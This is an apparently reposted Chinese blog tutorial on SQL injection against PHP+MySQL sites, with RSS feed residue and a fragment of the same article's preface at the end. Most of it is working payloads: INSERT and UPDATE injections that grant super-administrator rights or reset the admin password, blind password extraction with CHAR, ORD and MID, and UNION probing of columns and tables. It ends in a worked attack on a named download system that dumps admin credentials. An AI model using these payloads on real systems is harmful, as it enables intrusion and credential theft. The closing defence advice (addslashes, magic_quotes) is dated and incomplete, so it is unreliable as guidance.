<p><img src="http://www.4ngel.net/img/php5.GIF" width="479" height="126" /></p>
<p> 值得注意的是想要导出文件，必须magic_quotes_gpc没有打开，并且程序也没有用到addslashes()函数，还有不能对单引号做任何过滤，因为我们在提交导出路径的时候，一定要用引号包含起来，否则，系统不会认识那是一个路径，也不用尝试用char()或者什么函数，那是徒劳。</p>
<p><strong>INSERT</strong></p>
<p> 如果大家认为MYSQL中注入仅仅适用于SELECT就大错特错了，其实还有两个危害更大的操作，那就是INSERT和UPDATE语句，这类例子不多，先面先说说INSERT，这主要应用于改写插入的数据，我们来看个简单而又广泛存在的例子，看看下面的数据结构：</p>
<p>CREATE TABLE `user` (   <br />`userid` INT NOT NULL AUTO_INCREMENT ,    <br />`username` VARCHAR( 20 ) NOT NULL ,    <br />`password` VARCHAR( 50 ) NOT NULL ,    <br />`homepage` VARCHAR( 255 ) NOT NULL ,    <br />`userlevel` INT DEFAULT &#8217;1&#8242; NOT NULL ,    <br />PRIMARY KEY ( `userid` )    <br />);</p>
<p> 其中的userlevel代表用户的等级，1是普通用户，2是普通管理员，3是超级管理员，一个注册程序默认是注册成普通用户，如下：</p>
<p>INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;$username&#8217;, &#8216;$password&#8217;, &#8216;$homepage&#8217;, &#8217;1&#8242;);</p>
<p> 默认userlevel字段是插入1，其中的变量都是没有经过过滤就直接写入数据库的，不知道大家有什么想法？对，就是直接注入，使我们一注册就是超级管理员。我们注册的时候，构造$homepage变量，就可以达到改写的目的，指定$homepage变量为：</p>
<p>http://4ngel.net&#8217;, &#8217;3’)#</p>
<p> 插入数据库的时候就变成：</p>
<p>INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, &#8216;angel&#8217;, &#8216;mypass&#8217;, &#8216;http://4ngel.net&#8217;, &#8217;3’)#&#8217;, &#8217;1&#8242;);</p>
<p> 这样就注册成为超级管理员了。但这种利用方法也有一定的局限性，比如，我没有需要改写的变量如userlevel字段是数据库的第一个字段，前面没有地方给我们注入，我们也没有办法了。   <br />或许INSERT还有更广泛的应用，大家可以自行研究，但原理都是一样的。</p>
<p><strong>UPDATE</strong></p>
<p> 和INSERT相比，UPDATE的应用更加广泛，如果过滤不够，足以改写任何数据，还是拿刚才的注册程序来说，数据结构也不变，我们看一下用户自己修改自己的资料，SQL语句一般都是这样写的：</p>
<p>UPDATE user SET password=&#8217;$password&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 用户可以修改自己的密码和主页，大家有什么想法？总不至于还是提升权限吧？程序中的SQL语句又没有更新userlevel字段，怎么提升啊？还是老办法，构造$homepage变量, 指定$homepage变量为：</p>
<p>http://4ngel.net&#8217;, userlevel=&#8217;3</p>
<p> 整个SQL语句就变成这样：</p>
<p>UPDATE user SET password=&#8217;mypass&#8217;, homepage=&#8217;http://4ngel.net&#8217;, userlevel=&#8217;3&#8242; WHERE id=&#8217;$id&#8217;</p>
<p> 我们是不是又变成超级管理员了？程序不更新userlevel字段，我们自己来。   <br />还有更加绝的，直接修改任意用户的资料，还是刚才的例句，但这次安全一点，使用MD5加密：</p>
<p>UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 尽管密码被加密了，但我们还是可以构造我们需要的语句，我们指定$password为：</p>
<p>mypass)&#8217; WHERE username=&#8217;admin&#8217;#</p>
<p> 这时整个语句变为：</p>
<p>UPDATE user SET password=&#8217;MD5(mypass)&#8217; WHERE username=&#8217;admin&#8217;#)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=&#8217;$id&#8217;</p>
<p> 这样就更改了更新的条件，我管你后面的代码是不是在哭这说：我们还没有执行啊。当然，也可以从$id下手，指定$id为：</p>
<p>&#8216; OR username=&#8217;admin&#8217;</p>
<p> 这时整个语句变为：</p>
<p>UPDATE user SET password=&#8217;MD5($password)&#8217;, homepage=&#8217;$homepage&#8217; WHERE id=” OR username=&#8217;admin&#8217;</p>
<p> 照样也可以达到修改的目的，所以说注入是非常灵活的技术。如果有些变量是从数据库读取的固定值，甚至用$_SESSION['username']来读取服务器上的SESSION信息时，我们就可以在原来的WHERE之前自己构造WHERE并注释掉后面的代码，由此可见，灵活运用注释也是注入的技巧之一。这些技巧把注入发挥得淋漓尽致。不得不说是一种艺术。   <br /> 变量的提交方式可以是GET或POST，提交的位置可以是地址栏、表单、隐藏表单变量或修改本地COOKIE信息等，提交的方式可以是本地提交，服务器上提交或者是工具提交，多种多样就看你如何运用了。</p>
<p><strong>高级应用</strong></p>
<p><strong>1、 使用MYSQL内置函数</strong></p>
<p> 我们在ACCESS、MSSQL中的注入，有很多比较高级的注入方法，比如深入到系统，猜中文等，这些东西，在MYSQL也能很好得到发挥，其实在MYSQL有很多内置函数都可以用在SQL语句里，这样就可以使我们能在注入时更灵活，得到更多关于系统的信息。有几个函数是比较常用的：</p>
<p>DATABASE()   <br />USER()    <br />SYSTEM_USER()    <br />SESSION_USER()    <br />CURRENT_USER()    <br />……</p>
<p> 各个函数的具体作用大家可以查阅MYSQL手册，比如下面这句UPDATE：</p>
<p>UPDATE article SET title=$title WHERE articleid=1</p>
<p> 我们可以指定$title为以上的各个函数，因为没有被引号包含，所以函数是能正确执行的：</p>
<p>UPDATE article SET title=DATABASE() WHERE id=1    <br />#把当前数据库名更新到title字段    <br />UPDATE article SET title=USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=SYSTEM_USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=SESSION_USER() WHERE id=1     <br />#把当前 MySQL 用户名更新到title字段    <br />UPDATE article SET title=CURRENT_USER() WHERE id=1     <br />#把当前会话被验证匹配的用户名更新到title字段</p>
<p> 灵活运用MYSQL内置的函数，可以获得不少有用的信息，比如数据库版本、名字、用户、当前数据库等，比如前面跨表查询的例子，提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1</p>
<p> 可以看到一篇文章，我们怎么样才能知道MYSQL数据库的相关信息呢？同样也是用MYSQL内置函数配合UNION联合查询，不过相比之下就简单得多了，甚至还可以读取文件！既然要用到UNION，同样要满足UNION的条件——字段数、数据类型相同。如果我们知道了数据结构，直接构造：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()</p>
<p> 就可以返回当前数据库名和数据库版本，构造是比较容易的。   <br /> 下面附上一段由我好友Super·Hei写的代码，可以把字符串转换为ASCII代码。感谢提供。</p>
<p>#!/usr/bin/perl   <br />#cody by Super·Hei     <br />#to angel    <br />#C:\&gt;test.pl c:\boot.ini    <br />#99,58,92,98,111,111,116,46,105,110,105</p>
<p>$ARGC = @ARGV;   <br />if ($ARGC != 1) {    <br /> print &quot;Usage: $0 \n&quot;;    <br /> exit(1);    <br />}</p>
<p>$path=shift;</p>
<p>@char = unpack(&#8216;C*&#8217;, $path);</p>
<p>$asc=join(&quot;,&quot;,@char);</p>
<p>print $asc; </p>
<p><strong>2、不加单引号注入</strong></p>
<p><em>注：现在我们假设magic_quotes_gpc为on了。</em></p>
<p> 众所周知，整形的数据是不需要用引号引起来的，而字符串就要用引号，这样可以避免很多问题。但是如果仅仅用整形数据，我们是没有办法注入的，所以我需要把我们构造的语句转换成整形类型，这个就需要用到CHAR()，ASCII(),ORD(),CONV()这些函数了，举个简单的例子：</p>
<p>SELECT * FROM user WHERE username=&#8217;angel&#8217;</p>
<p> 如何使$username不带引号呢？很简单我们这样提交就可以了。</p>
<p>SELECT * FROM user WHERE username=char(97,110,103,101,108)   <br /># char(97,110,103,101,108) 相当于angel，十进制。    <br />SELECT * FROM user WHERE username=0x616E67656C    <br /># 0x616E67656C 相当于angel，十六进制。</p>
<p> 其他函数大家自己去测试好了，但是前提就如上面所说的，我们可以构造的变量不被引号所包含才有意义，不然我们不管构造什么，只是字符串，发挥不了作用，比如前面猜密码的例子(user,php)，我们把查询条件改为userid：</p>
<p>SELECT * FROM user WHERE userid=userid</p>
<p> 按照正常的，提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1</p>
<p> 就可以查询userid为1的用户资料，因为1是数字，所以有没有引号都无所谓，但是如果我们构造：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=mypass</p>
<p> 绝对错误，因为mypass是字符串，除非提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=&#8217;mypass&#8217;</p>
<p> 由于magic_quotes_gpc打开的关系，这个是绝对不可能的。引号会变成/&#8217;，我们有什么办法可以把这些字符串变成整形数据吗？就是用CHAR()函数，如果我们提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)</p>
<p> 正常返回，实践证明，我们用CHAR()是可行的，我们就把CHAR()用进LEFT函数里面逐位猜解！</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)</p>
<p> 正常返回，说明userid为1的用户，password字段第一位是char(109)，我们继续猜：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)</p>
<p> 又正常返回，说明正确，但这样影响到效率，既然是整形，我们完全可以用比较运算符来比较：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)&gt;char(100)</p>
<p> 然后适当调整char()里面的数字来确定一个范围，很快就可以猜出来，到了后面的时候，还是可以用比较运算符来比较：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)&gt;char(109,121,111)</p>
<p> 而原来已经猜好的不用改变了，很快就可以猜完：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)</p>
<p><img src="http://www.4ngel.net/img/php7.gif" width="760" height="453" /></p>
<p> 然后在mysql&gt;命令提示符下或者在phpMyadmin里面执行：</p>
<p>select char(109,121,112,97,115,115)</p>
<p> 就会返回：mypass</p>
<p><img src="http://www.4ngel.net/img/php8.gif" width="322" height="344" /></p>
<p> 当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数，从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子，我们猜password字段的第三位、第四位试试，第三位是p，第四位是a，我们这样构造：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)   <br />http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)</p>
<p> 我们要的结果就迸出来了。当然，如果觉得麻烦，还可以用更简单的办法，就是利用ord()函数，具体作用可以去查看MYSQL参考手册，该函数返回的是整形类型的数据，可以用比较运算符进行比较、当然得出的结果也就快多了，也就是这样提交：</p>
<p>http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&gt;111   <br />http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))&lt;113    <br />http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112</p>
<p> 这样我们就得出结果了，然后我们再用char()函数还原出来就好了。至于其他更多函数，大家可以自己去试验，限于篇幅也不多说了。</p>
<p><strong>3、快速确定未知数据结构的字段及类型</strong></p>
<p> 如果不清楚数据结构，很难用UNION联合查询，这里我告诉大家一个小技巧，也是非常有用非常必要的技巧，充分发挥UNION的特性。   <br /> 还是拿前面的show.php文件做例子，当我们看到形如xxx.php?id=xxx的URL的时候，如果要UNION，就要知道这个xxx.php查询的数据表的结构，我们可以这样提交来快速确定有多少个字段：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1</p>
<p> 有多少个“1”就表示有多少个字段，可以慢慢试，如果字段数不相同，就肯定会出错，如果字段数猜对了，就肯定会返回正确的页面，字段数出来了，就开始判断数据类型，其实也很容易，随便用几个字母代替上面的1，但是由于magic_quotes_gpc打开，我们不能用引号，老办法，还是用char()函数，char(97)表示字母“a”，如下：</p>
<p>http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)</p>
<p> 如果是字符串，那就会正常显示“a”，如果不是字符串或文本，也就是说是整形或布尔形，就会返回“0”，如图：</p>
<p><img src="http://www.4ngel.net/img/php9.GIF" width="521" height="432" /></p>
<p> 判断最主要靠什么？经验，我以前一直都说，经验很重要，丰富经验能更好的作出正确的判断，因为程序的代码是千变万化的，我们这里是只是举个最简单的例子，这里由于局限性，程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中，注意区别，不要照搬，灵活运用才是根本。</p>
<p><strong>4、猜数据表名</strong></p>
<p> 在快速确定未知数据结构的字段及类型的基础上，我们又可以进一步的分析整个数据结构，那就是猜表名，其实使用UNION联合查询的时候，不管后面的查询怎么“畸形”，只要没有语句上的问题，都会正确返回，也就是说，我们可以在上面的基础上，进一步猜到表名了，比如刚才我们提交：</p>
<p>http://127.0.0.1/injection/show.php?id=1 union select 1,1,1</p>
<p> 返回正常的内容，就说明这个文件查询的表内是存在3个字段的，然后我们在后面加入from table_name，也就是这样：</p>
<p>http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members   <br />http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin    <br />http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user</p>
<p> 如果这个表是存在的，那么同样会返回应该显示的内容，如果表不存在，当然就会出错了，所以我的思路是先获得有漏洞的文件所查询表的数据结构，确定结果后再进一步查询表，这个手工操作是没有效率的问题的，不到一分钟就可以查询到了，比如我们在测试www.***bai.net就是这样，后面的实例会涉及到。   <br /> 但是有一个问题，由于很多情况下，很多程序的数据表都会有一个前缀，有这个前缀就可以让多个程序共用一个数据库。比如：</p>
<p>site_article   <br />site_user    <br />site_download    <br />forum_user    <br />forum_post    <br />……</p>
<p> 如果安全意识高的话，管理员会加个表名前缀，那猜解就很麻烦了，不过完全可以做一个表名列表来跑。这里就不多说了，后面会有一个具体的例子来解开一切迷茫^_^……</p>
<p><strong>实例</strong></p>
<p> 下面对一个国内非常出名的站点进行善意的攻击测试，来对上面的知识进行一次大概的验证，出于影响等诸多因素，我们称这个站点为HB(www.***bai.net)，HB使用的是夜猫的文章系统和下载系统，不过文章系统已经升级了，我们就不看了，下载系统是绝对有问题的，不过由于我现在写文章的电脑不上网，我用相同的下载系统在本地进行一次模拟的测试。实际上，我事前早用更狠毒的技术渗透过HB。   <br /> 首先我们找到有问题的文件，show.php?id=1，我们马上看看数据结构和表名，看看HB有没有改字段和表名，我早知道夜猫下载系统1.0.1版的软件信息的表有19个字段，就提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</p>
<p> 注意，这里有19个“1”，返回正常的页面，我可以可以肯定字段没有变，我们也就别拖拉了，直接看看夜猫的默认用户数据表是否存在：</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user</p>
<p> 正常返回，如图，如果URL不清楚可以看标题那里：</p>
<p><img src="http://www.4ngel.net/img/php10.GIF" width="715" height="653" /></p>
<p> 嗯，这个HB还真是够懒的，这么烂的程序也不知道先修改一下再用，不过也是，没有多少人和我一样有闲心先去加固程序才用的，再看默认的用户id还在不在？</p>
<p>http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 忘记了，就算不存在id为1的用户，前面的查询是真的，照样会正常返回数据库的软件信息，我们只能让前面的查询为假，才能使后面查询的结果显示出来，但我们要注意一点，show.php文件里面有这样一段代码：</p>
<p>if ($id &gt; &quot;0&quot; &amp;&amp; $id &lt; &quot;999999999&quot; ):   <br />//这里是正确执行的代码    <br />else:    <br />echo &quot;&lt;p&gt;&lt;center&gt;&lt;a href=./list.php&gt;无记录&lt;/a&gt;&lt;/p&gt;\n&quot;;</p>
<p> 也就是说我们的ID的值再怎么离谱也不能在0和999999999之外，HB的软件肯定不会超过10000个的，我们就提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 正常返回了，表格里的数据全部是“1”，说明ID还在哦。如果不存在的话，页面只返回的数据全部是不详，因为程序的判断是如果数据为空就显示不详。现在确定了ID存在后，还要确定是不是管理员才行啊：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1</p>
<p> 程序规定groupid为1是超级管理员，既然都返回正确信息了，我们就直接构造畸形语句，暴出我们需要的用户名和密码，嘿嘿，首先看看ymdown表的数据结构，因为show.php是查询它的，所以我们应该看它的数据结构。</p>
<p>CREATE TABLE ymdown (   <br /> id int(10) unsigned NOT NULL auto_increment,    <br /> name varchar(100) NOT NULL,    <br /> updatetime varchar(20) NOT NULL,    <br /> size varchar(100) NOT NULL,    <br /> empower varchar(100) NOT NULL,    <br /> os varchar(100) NOT NULL,    <br /> grade smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> viewnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> downnum int(10) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> homepage varchar(100), demo varchar(100),    <br /> brief mediumtext, img varchar(100),    <br /> sort2id smallint(6) DEFAULT &#8217;0&#8242; NOT NULL,    <br /> down1 varchar(100) NOT NULL,    <br /> down2 varchar(100),    <br /> down3 varchar(100),    <br /> down4 varchar(100),    <br /> down5 varchar(100),    <br /> PRIMARY KEY (id)    <br />);</p>
<p> 用户名和密码的数据类型都是varchar，所以我们要选择ymdown表里数据类型是varchar来，如果把varchar的数据写到int的地方当然是不可能显示的了，由于updatetime（更新日期）的长度是20，可能会出现显示不完全的情况，我们就把用户名显示在name（软件标题）那里，密码显示在size（文件大小）那里好了，在19个“1”中，name和size分别是第二个和第四个，我们提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1</p>
<p> 结果成功返回了我们所需要的用户名和密码，如图：</p>
<p><img src="http://www.4ngel.net/img/php11.gif" width="662" height="551" /></p>
<p><strong>验证测试结果</strong></p>
<p> 整个渗透过程就结束了，不过由于黑白把入口给改了，无法登陆，但我们仅仅测试注入，目的已经达到了，就没有必要进后台了，我后来又继续构造SQL语句来验证我们获取的密码是否正确，依次提交：</p>
<p>http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49   <br />#验证第一位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50    <br />#验证第二位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51    <br />#验证第三位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52    <br />#验证第四位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53    <br />#验证第五位密码    <br />http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54    <br />#验证第六位密码</p>
<p> 用select char(49,50,51,52,53,54)就可以得到123456。   <br /> OK！测试结束，验证我们的结果没有错误。说明一下，密码本身是123456，可以不用ord()函数而直接猜，但为了大家能看到一个完整的过程，我还是“专业”一点好了。下面补一幅截图，是本文写完后，重新测试HB时截取的：</p>
<p><img src="http://www.4ngel.net/img/php12.gif" width="612" height="531" /></p>
<p><strong>注入的防范</strong></p>
<p> 防范可以从两个方面着手，一个就是服务器，二个就是代码本身，介绍服务器配置的文章很多了，无非就是把magic_quotes_gpc设置为On，display_errors设置为Off，这里也就不在多说，既然本文接触都是程序的问题，我们还是从程序本身寻找原因。   <br /> 如果说php比asp易用，安全，从内置的函数就可以体现出来。如果是整形的变量，只需使用一个intval()函数即可解决问题，在执行查询之前，我们先处理一下变量，如下面的例子就是很安全的了：</p>
<p>$id = intval($id);   <br />mysql_query(&quot;SELECT * FROM article WHERE articleid=&#8217;$id&#8217;&quot;);</p>
<p> 或者这样写：</p>
<p>mysql_query(&quot;SELECT * FROM article WHERE articleid=&quot;.intval($id).&quot;&quot;)</p>
<p> 不管如何构造，最终还是会先转换为整形猜放入数据库的。很多大型程序都是这样写，非常简洁。   <br /> 字符串形的变量也可以用addslashes()整个内置函数了，这个函数的作用和magic_quotes_gpc一样，使用后，所有的 &#8216; (单引号), &quot; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的溢出字符。而且新版本的php，就算magic_quotes_gpc打开了，再使用addslashes()函数，也不会有冲突，可以放心使用。例子如下：</p>
<p>$username = addslashes($username);   <br />mysql_query(&quot;SELECT * FROM members WHERE userid=&#8217;$username&#8217;&quot;);</p>
<p> 或者这样写：</p>
<p>mysql_query(&quot;SELECT * FROM members WHERE userid=&quot;.addslashes($username).&quot;&quot;)</p>
<p> 使用addslashes()函数还可以避免引号配对错误的情况出现。而刚才的前面搜索引擎的修补方法就是直接把“_”、“%”转换为“\_”“\%”就可以了，当然也不要忘记使用addslashes()函数。具体代码如下：</p>
<p>$keywords = addslashes($keywords);   <br />$keywords = str_replace(&quot;_&quot;,&quot;\_&quot;,$keywords);    <br />$keywords = str_replace(&quot;%&quot;,&quot;\%&quot;,$keywords);</p>
<p> 不用像ASP那样，过滤一点变量，就要写一大堆的代码，就是上面的一点点代码，我们就可以把本文所有的问题解决了，是不是很简便？</p>
<p><strong>后记</strong></p>
<p> 这篇文章是我自2004年3月份以来利用课余时间学习研究的，5月中旬写完，里面的所有东西都是经过我亲自测试的，本文仅仅算是技术总结吧，还有很多技术难点没有解决的，因此错漏是难免的，欢迎请大家指正。   <br /> 还有不少危险性极高的东西，只要少数条件成立，一般都可以进入服务器，考虑到严重性和广泛性，我并没有写出来，我个人估计，不久将会出现PHP+MYSQL注入的一系列工具，技术也会普及和告诉发展。但我建议大家一定要弄清楚原理，工具只是武器，技术才是灵魂，工具只是提高效率罢了，并不代表你的技术高超。    <br /> 大家看到这篇文章的时候，估计我已经高考完了，暑假我会写一篇更深入的研究。    <br /> 为了让更多人了解并掌握PHP+MYSQL的注入技术，我才写了这篇文章，并决定发表，再重申一次。不要对任何国家的任何合法主机进行破坏，否则后果自负。</p>
<div id="seo_alrp_related"><h2>Posts Related to SQL Injection with MySQL</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/03/22/599.html" rel="bookmark">sql语句中left join、inner join中的on与where的区别</a></h3><p>sql语句中left join、inner join中的on与where的区别&#160; table a(id, type): id type ---------------------------------- 1 1 2 1 3 2 table b(id, class): id class --------------------------------- 1 1 2 2 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/09/619.html" rel="bookmark">SQL 注入(2)</a></h3><p>本文来自 MSDN （http://msdn.microsoft.com） SQL 注入是一种攻击方式，在这种攻击方式中，恶意代码被插入到字符串中，然后将该字符串传递到 SQL Server 的实例以进行分析和执行。任何构成 SQL 语句的过程都应进行注入漏洞检查，因为 SQL Server 将执行其接收到的所有语法有效的查询。一个有经验的、坚定的攻击者甚至可以操作参数化数据。 SQL 注入的主要形式包括直接将代码插入到与 SQL 命令串联在一起并使其得以执行的用户输入变量。一种间接的攻击会将恶意代码注入要在表中存储或作为元数据存储的字符串。在存储的字符串随后串连到一个动态 SQL 命令中时，将执行该恶意代码。 注入过程的工作方式是提前终止文本字符串，然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串，因此攻击者将用注释标记“--”来终止注入的字符串。执行时，此后的文本将被忽略。以下脚本显示了一个简单的 SQL 注入。此脚本通过串联硬编码字符串和用户输入的字符串而生成一个 SQL 查询： 复制 ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/11/09/570.html" rel="bookmark">RACF中分配SDSF权限</a></h3><p>在RACF中，给予Group USER相应的SDSF权限 1、先列出在Class SDSF下已经定义好的Profiles: 代码: RLIST SDSF * 2、然后对于每一个列出Profile, 给予Group USER相应的SDSF权限，例如profile ISFOPER.SYSTEM: 代码: PERMIT ISFOPER.SYSTEM CLASS(SDSF) ACCESS(UPDATE) ID(USER) 3、使用PERMIT命令，对于所有其他Profile, 给予USER权限（例如UPDATE, READ）. 4、动态更新你的修改： 代码: SETROPTS GENERIC(SDSF) ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2012/04/05/612.html" rel="bookmark">unix下的I/O&#8212;&#8212;阻塞，非阻塞，同步，异步</a></h3><p>前4种模型的主要区别在于第一阶段，因为它们的第二阶段都是一样的：在数据从内核缓冲区拷贝到进程缓冲区期间，进程阻塞与recvfrom这个系统调用中。 参考 Richard Stevens的“UNIX® Network Programming Volume 1, Third Edition: The Sockets Networking”。Stevens一共提出了五种 IO Model： blocking IO nonblocking IO IO multiplexing (select and poll) signal ...</p></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://blog.yxzone.net/2011/12/13/586.html" rel="bookmark">qq聊天记录删除了怎么恢复？qq聊天记录的三种恢复方法</a></h3><p>qq聊天记录删除了怎么恢复？如何找回qq聊天记录，重装系统后，或是卸载了QQ重装了，QQ聊天记录没有了，但QQ聊天记录保存着很重要的信息，需要再找出来看看，怎么找回QQ聊天记录呢。下面是计算机基础知识为大家整理的一些解决办法：&#160; &#160;&#160;&#160; 打开QQ所在的目录(默认是&quot;C:\Program Files\Tencent\QQ\&quot;),找到以你的QQ号命名的文件夹,打开找到一个叫&quot;MsgEx&quot;的数据库文件,这个里面呢存的就是你的聊天记录了! &#160;&#160;&#160; 默认安装QQ的位置: &#160;&#160;&#160; \Program Files\Tencent\QQ\5205657(你的Q号) &#160;&#160;&#160; QQ号码文件夹下的文件.&#160; &#160;&#160;&#160; Config.db QQ 系统设置&#160; &#160;&#160;&#160; Content_Config.ini 自定义面板设置&#160; &#160;&#160;&#160; ewh.db QQ 密码&#160; &#160;&#160;&#160; MsgEx.db QQ ...</p></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://blog.yxzone.net/2012/04/09/617.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQL Injection with MySQL</title>
		<link>http://blog.yxzone.net/2012/04/09/615.html</link>
		<comments>http://blog.yxzone.net/2012/04/09/615.html#comments</comments>
		<pubDate>Mon, 09 Apr 2012 02:06:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[-数据库]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[SQL Injection]]></category>

		<guid isPermaLink="false">http://blog.yxzone.net/?p=615</guid>
		<description><![CDATA[本文已经发表在《黑客防线》7月刊，转载请注明。由于写了很久，随着技术的进步，本人也发现该文里有不少错误和罗嗦的地方。请各位高手看了不要笑。本文写于《Advanced SQL Injection with MySQL》之前一个月。 声明 本文仅用于教学目的，如果因为本文造成的攻击后果本人概不负责，本文所有代码均为本人所写，所有数据均经过测试。绝对真实。如果有什么遗漏或错误，欢迎来安全天使论坛（http://www.4ngel.net/forums）和我交流。 前言 2003年开始，喜欢脚本攻击的人越来越多，而且研究ASP下注入的朋友也逐渐多了起来，我看过最早的关于SQL注入的文章是一篇99年国外的高手写的，而现在国外的已经炉火纯青了，国内才开始注意这个技术，由此看来，国内的这方面的技术相对于国外还是有一段很大差距，话说回来，大家对SQL注入攻击也相当熟悉了，国内各大站点都有些堪称经典的作品，不过作为一篇完整的文章，我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步，不妨给本文挑点刺。权当指点小弟。 关于php+Mysql的注入 国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), &#34; (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。 php+Mysql注入的误区 很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&#60;command&#62; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。 为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码： $command = &#34;dir c:\&#34;; system($command); 